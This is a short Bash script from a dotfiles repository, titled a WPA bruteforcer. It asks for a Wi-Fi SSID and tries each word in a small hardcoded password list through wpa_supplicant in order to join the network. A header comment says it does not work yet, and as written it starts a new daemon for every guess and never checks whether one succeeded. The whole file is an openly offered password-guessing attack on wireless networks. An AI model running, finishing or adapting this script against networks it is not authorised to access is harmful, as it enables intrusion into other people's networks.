dotfiles/bin/TODO/wifi-bruteforce.sh

25 lines
718 B
Bash
Executable File

#!/usr/bin/env bash
# wpa-bruteforce.sh
# Attempts to connect to an SSID given a password list, uses wpa_supplicant
# DOES NOT WORK YET!
# by AAAAAAAA
# TODO: change so that wordlist is read from a file
wordlist="blueberry blackberry chocolate compassion delightful delighted \
equality espresso exciting fabulous fantastic generous peppermint pleasure \
wonderful"
wint="wlp4s0" # wireless networking interface
echo "Enter the wpa/2 SSID you're trying to connect to: "
read ssid
for pass in $wordlist; do
echo "Trying to connect to $ssid using password $pass"
wpa_supplicant -B -i "$wint" -c <(wpa_passphrase "$ssid" "$pass")
# sudo dhcpcd "$wint" # needed if systemd dhcpcd service not used
done